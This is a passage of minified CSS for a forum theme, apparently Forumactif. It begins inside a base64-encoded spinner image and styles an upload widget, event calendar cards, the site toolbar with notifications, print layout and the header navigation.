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);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:35% auto auto;width:30px}.EV_UploadPhoto #EV_main_img div.progress:before{margin-top:25%}.EV_UploadPhoto .EV_Delete{background-color:rgba(248,248,248,0.8);background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAAChyAAAocgF7isG5AAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAKHSURBVHja5Js7TiNBEEDfFBMiX4AbcJ6VVhaBRW5xCI6AyBGBZSE5ItjTbLLBXsAiZOUN3IOGAYb5VHVXQSeWLLvc73mmu6ZLVf0+pztOgJ/AFVABt8AWeCbWqIFr4BL4A9wAD8C/9oeqjoAT4B646ATbActAEur0p/3ovL8BVm0JMgCeFGibAkeFJ7HdJ9ZXAvrgI0nog39XQj0Qvi0Bp7fDEPi2BIBVnRa8ixE/5FHCGPi2hF+SVvuxw9PtMAW+GVeStjqCSpgDD1BJ2ucJKGEuPMCtpCC7YBI04HfAVtJCtgwkQQt+CTw3eUAUCarw3UzQuwR1+K4AzxJM4N8T4FGCGfxHAjxJMIXvE+BBgjn8ZwJKSsgCP0RACQnZ4IcKyCkhK/wYATkkZIcfK8BSQhF4Jq7OjQRmTLj53mV6vSsBD29PhXNvU/v0uigBP/UK0LwS5oDPhp+yBlisCcXgNQSUkqBWqBGlCeWUoFqlEsWJ5ZCgXqIT5QlaSjCpT4rBRC0kmBVn5+QBn41T4K/CVrcHzoAni0kK33xYCahTertQiLVIseooAjRSZI1DlSICLOBNJUgQeDMJEgjeRIIEg1eXIAHhVSVIYfh961CkiAQpCL9LGd4ZBStQXio2WmeMo58XxAG81gPUpCtBHMAXlSBO4ItJEEfwRSSIM/jsEsQhfFYJ4hQ+mwRxDJ9FgjiHN5cgAeBNJUgQeDMJdSD4rgSVZ4c6BYsCry3hUYB1MHjN22EtwCEgvJaEg3DsqIwIryHhRji2k26Cws+RsAEehGMb6WqgBM8ttGMkvLTQNnnAEAkR+oeHSHjVP9zOBPskRGqe7pPwpnm6+uLt88u0zR/4oH3+/wDcuzyspCSUCwAAAABJRU5ErkJggg==);background-position:center;background-repeat:no-repeat;background-size:85%;bottom:2px;cursor:pointer;height:20px;position:absolute;right:2px;width:20px}.EV_UploadPhoto .EV_Delete.hidden{display:none}#ui-datepicker-div.ui-widget{font-size:1rem}img.emojione{width:20px}.social_btn{text-align:center}.social_btn.no_center{text-align:initial}.social_btn > div{display:inline-block;margin:5px;vertical-align:middle}.calendar_overview_event{background-color:#f0f0f0;box-shadow:0 0 9px rgba(0,0,0,03), 0 0 1px 1px rgba(0,0,0,02);box-sizing:border-box;font-size:12px;height:200px;padding:15px 10px;width:350px}.header_overview_event p{height:30px;line-height:30px}.header_overview_event div > span:first-child{color:#00acba;float:left;font-size:14px;font-weight:700;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:60%}.header_overview_event div > span:last-child{float:right;text-align:right;width:39%}.img_overview_event{float:left;width:39%}.img_overview_event img{display:block;height:100px;margin:0 auto;width:100px}.desc_overview_event{float:right;overflow-wrap:break-word;width:60%}.uppercase{text-transform:uppercase}.text-justify{text-align:justify}.fa_toolbar_XL_Sized{min-width:980px;width:100%}.fa_toolbar_L_Sized{min-width:774px}.fa_toolbar_M_Sized{min-width:519px}#fa_toolbar{background-color:#FFF;color:#FFF;font-family:Helvetica, Verdana, Arial;font-size:16px;height:30px;left:0;z-index:20002}#fa_toolbar :link,#fa_toolbar :visited{color:#FFF;text-decoration:none}#fa_toolbar a:hover{text-decoration:underline}#fa_toolbar a:active,#fa_toolbar a:hover,#fa_toolbar a:link,#fa_toolbar a:visited{border:none}#fa_show,.fa_tbMainElement,.fa_tbMainElement a{display:inline-block!important;vertical-align:middle}#fa_toolbar #fa_icon{background-image:url(https://illiweb.com/fa/i/toolbar/pa0.png);background-repeat:no-repeat;background-size:30px;display:inline-block!important;height:30px;visibility:visible!important;width:30px}#fa_toolbar #fa_fb,#fa_toolbar #fa_gp,#fa_toolbar #fa_hide,#fa_toolbar #fa_magnifier,#fa_toolbar #fa_mail,#fa_toolbar #fa_rss,#fa_toolbar #fa_twitter,#fa_toolbar_hidden #fa_show{background-image:url(https://illiweb.com/fa/i/toolbar/toolbar.png);cursor:pointer;height:30px;width:30px}#fa_left{display:inline-block!important;height:auto!important;line-height:30px!important;visibility:visible!important;width:auto!important}#fa_icon,#fa_toolbar #fa_service{color:#39C}#fa_toolbar #fa_service{display:inline-block!important;text-decoration:none!important;visibility:visible!important}#fa_toolbar #fa_service:hover[href]{text-decoration:underline!important}#fa_search{height:30px;margin-left:20px}#fa_search form{display:inline;margin:0;padding:0}#fa_search #fa_magnifier{background-position:-30px 0;position:absolute}#fa_search #fa_textarea{border:0;border-radius:5px;height:24px;line-height:24px;margin-top:3px;padding:0;text-indent:30px!important;width:200px}#fa_share{font-size:16px;line-height:30px!important;margin-left:20px}#fa_share_text{color:#39C;cursor:default;text-decoration:none!important}#fa_fb{background-position:-60px 0;margin-left:10px}#fa_twitter{background-position:-90px 0}#fa_gp{background-position:-120px 0}#fa_mail{background-position:-150px 0}#fa_rss{background-position:-180px 0}#fa_right{float:right;font-size:14px}#fa_right a.rightHeaderLink{color:#39C;line-height:30px;margin-left:10px;vertical-align:top}#fa_right span.rightHeaderLink{color:#39C;display:inline-block;line-height:30px;margin-left:1px;vertical-align:top}#fa_right #fa_notifications,#fa_welcome{color:#39C;line-height:30px;padding:0 5px}#fa_hide{background-position:-210px 0}#fa_menu{display:inline-block}#fa_right #fa_welcome:hover,#fa_toolbar #fa_right #fa_notifications:hover{cursor:pointer}#fa_right #fa_menu #fa_welcome,#fa_right.notification #fa_menu #fa_welcome{color:#39C}#fa_right #fa_menu ul,#fa_right.notification #fa_menu ul{display:none}#fa_right.welcome #fa_menu #fa_welcome{background-color:#fff;color:#333}#fa_right.welcome #fa_menu ul{display:block}#fa_menu:hover :visited,#fa_toolbar > #fa_right.notification > #fa_notifications{background-color:#FFF;color:#333}#fa_toolbar #fa_right .fa_separator{background-color:#CCC;height:1px;margin:0;padding:0;text-align:center;width:90%}#fa_menulist{background-color:#FFF;border:1px solid #333;border-top:0 solid #FFF;display:none;line-height:32px;list-style-type:none;margin:0;min-width:175px;padding:0 10px 0 150px;position:absolute;width:auto;z-index:10000}#fa_menulist :link,#fa_menulist :visited{color:#00569C!important}#fa_toolbar_hidden{background-color:#FFF;border-radius:0 0 5px 5px;height:30px;margin-top:-60px;position:absolute;right:0;width:30px;z-index:20002}#fa_show{background-position:-240px 0}#fa_toolbar #fa_right #fa_notifications #notif_unread{display:none;margin-left:.5em}#fa_toolbar #fa_right #fa_notifications.unread #notif_unread{display:inline}#fa_toolbar #fa_right #notif_list{background-color:#FFF;border:1px solid #333;border-top:0 solid #FFF;display:none;font-size:11px;list-style-type:none;margin:0;padding:0;position:absolute;z-index:10000}#fa_toolbar #fa_right.notification #notif_list{display:block}#fa_toolbar #fa_right #notif_list li{color:#333;display:block;font-size:1em;line-height:1.2em;margin:0;padding:0 .5em .5em}#fa_toolbar #fa_right #notif_list li .contentText{float:left;height:2.4em;overflow:hidden;width:27em}#fa_toolbar #fa_right #notif_list li .contentText a{color:#00569C!important;text-decoration:underline!important;vertical-align:baseline}#fa_toolbar #fa_right #notif_list li:first-child{padding-top:.5em}#fa_toolbar #fa_right #notif_list li:first-child hr{display:none}#fa_toolbar #fa_right #notif_list li .content{color:inherit!important;display:block;line-height:inherit!important;margin:0;overflow:hidden;vertical-align:top;width:30em}#fa_toolbar #fa_right #notif_list li a.delete{background:transparent url(https://illiweb.com/fa/i/toolbar/toolbar.png) no-repeat -274px 50%;float:right;height:2.4em;width:22px}#fa_toolbar #fa_right #notif_list li hr{border:0 solid #ccc;border-top-width:1px;margin:0 0 .5em}#fa_toolbar #fa_right #notif_list li.unread{background-color:#e5e5e5;font-weight:700}#fa_toolbar #fa_right #notif_list li.see_all{background-color:#333;color:#fff;padding:.7em!important;text-align:right}#fa_toolbar #fa_right #notif_list li.see_all a{color:#fff;width:100%}#fa_toolbar #live_notif{position:absolute;width:330px}#fa_toolbar #live_notif .fa_notification{background-color:#333;border-radius:5px;opacity:.8;padding:10px}#fa_toolbar #live_notif .fa_notification .content{background-image:url(https://illiweb.com/fa/notifications/notifications.png);background-repeat:no-repeat;color:#fff;display:inline-block;font-size:11px;height:32px;overflow:hidden;padding-left:40px}#fa_toolbar #live_notif .fa_notification a{text-decoration:underline!important;vertical-align:baseline}.fa_fix{position:fixed!important;right:0;top:0}#fa_toolbar .fa_hide{display:none!important}#fa_usermenu{color:#333;font-size:12px;left:0;padding:10px 20px 10px 10px;position:absolute;text-align:center;width:120px}#fa_ranktitle{overflow:hidden;text-align:center;text-overflow:ellipsis;white-space:nowrap;width:120px}#fa_ranktitle:hover{color:#333;text-decoration:none!important}#fa_usermenu td{line-height:15px;margin-bottom:5px;padding:0}#fa_usermenu td.first{text-align:right}#fa_usermenu td.bold{font-weight:700;text-align:left}#fa_usermenu img{max-height:120px;max-width:120px;width:120px}@media print{*{background-color:#fff;background-image:none;color:#000}body{font-size:10pt;margin:0;padding:0}body#phpbb div#wrap{margin:0;width:85%}span.corners-bottom,span.corners-top{display:none}#wrap #logo-desc img,#wrap #logo-desc p,div#page-header div.navbar,div#page-header div.navbar ul.linklist{display:none!important}#wrap div.headerbar{border-bottom:1px solid #ccc;margin:0}#wrap div#page-body h2{border-bottom:1px solid #ccc;font-weight:bolder;margin-bottom:1em}#wrap div#page-body .left-box,#wrap div#page-body .pagination,#wrap div#page-body div.topic-actions,#wrap div.post .right,#wrap div.postbody div.signature,#wrap div.postbody img,#wrap div.postbody ul.profile-icons,#wrap dl.postprofile{display:none!important;float:none}#wrap dl.postprofile{float:none}#wrap div.postbody .online{background-image:none}#wrap div.postbody{width:auto}#wrap div.postbody h3{font-size:10pt}#wrap div.postbody p.author{border-bottom:1px dashed #ccc;width:100%}#wrap div#page-body div.post{border-top:3px double #ccc;padding:0 0 2em}div.postbody{float:none;width:100%}#wrap div#page-body div.post .content{overflow:visible}div.noprint{display:none}}.fa-ajax-panel.fa-ajax-topic-move option[value=f31],.fa-ajax-panel.fa-ajax-topic-move option[value=f35],.fa-ajax-panel.fa-ajax-topic-move option[value=f54],.fa-ajax-panel.fa-ajax-topic-move option[value=f55],.fa-ajax-panel.fa-ajax-topic-move option[value=f71],.fa-ajax-panel.fa-ajax-topic-move option[value=f73],.fa-ajax-panel.fa-ajax-topic-move option[value=f76],.fa-ajax-panel.fa-ajax-topic-move option[value=f78]{background-color:#68B800;color:#fff}.fa-ajax-panel.fa-ajax-topic-move option[value=f50]{background-color:#787DEA;color:#fff}.fa-ajax-panel.fa-ajax-topic-move option[value=f5]{background-color:#e34b3c;color:#fff}div#main-content > div[style="overflow:visible"][class]:first-child,div#main-content > div[style="overflow:visible"][class]:last-child{display:none!important}.post .content > div ol > br:first-child,.post .content > div ul > br:first-child{display:none}.display-none{display:none}.module span.corners-bottom,.module span.corners-top{display:none}#page-body{box-sizing:border-box;padding:5px 15px}#content-container div#container,#content-container div#content{float:none;margin-right:0}.main-news-title,a.lastpost-link{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.headerbar{background:#369FCF;min-height:200px}.conteneur_container_IE{background:url(https://i.imgur.com/xLxsSz4.png) 0 26px repeat-x}#logo-desc p,#site-title,.headerbar .corners-bottom,.headerbar .corners-top{display:none}#page-header{margin:0 -5px}#page-header .navbar{background:#369FCF;margin-bottom:15px;padding-bottom:10px}#page-header .navbar .linklist li{font-size:0}#page-header .navbar .linklist{background:#2D3134;border:none;margin:-9px -10px 5px}#page-header a.mainmenu{color:#eee;display:inline-block;font-family:sans-serif;font-size:13px;font-weight:700;height:40px;line-height:37px;outline:0;padding:0 15px;transition-duration:.1s}#page-header a.mainmenu[href="/register"]{color:#8C5}span.new-message{color:#EB3}span.new-message:before{content:'\f003';font-family:FontAwesome;margin-right:6px}#page-header a#logo{padding:0}.container{margin:-33px auto 0;width:80%}#page-header a.mainmenu.fa_navactif,#page-header a.mainmenu:hover{background-position:0 40px}#page-header a.mainmenu img,#page-header a.mainmenu[href*="/gallery"],#page-header a.mainmenu[href="/faq"]{display:none}#page-header a.active,#page-header a.mainmenu:hover{background-color:#1A1A1A}#page-header a.mainmenu[href^="/login"]:hover{background-color:#E54732}#sub-navbar{height:58px}#switch-login{float:right;padding-right:20px;padding-top:10px}#switch-login input.inputbox{border-color:transparent;border-radius:0 3px 3px 0;box-sizing:border-box;color:#555;font-family:sans-serif;font-size:13px;height:40px;margin-right:20px;padding:0 10px;width:150px!important}#switch-login .label-icone,#switch-login button[type=submit]{background-color:#2e3133;box-sizing:border-box;color:#fff;height:40px;vertical-align:top}#switch-login .label-icone{border-radius:3px 0 0 3px;font-size:21px;padding:9px 10px}#switch-login button[type=submit]{border:0;border-radius:4px;cursor:pointer;font-family:sans-serif;font-size:14px;font-weight:700;padding:0 10px}.cards .fa,.main-news-title,.ul-icons li img{vertical-align:middle}#search-box #search button[type=submit]{background-color:#2E3133;border:0;border-radius:0 4px 4px 0;font-size:21px;height:44px;margin-left:0;margin-right:3px;position:relative;width:50px!important}#fa_sticky_nav{background:#FAFAFA;border-bottom:1px solid #CCC!important;font-size:0;height:30px;overflow:hidden;position:fixed;right:0;text-align:center;transition:top .2s linear,width .6s ease-in-out;z-index:999}#fa_sticky_nav li{display:inline}#fa_sticky_nav 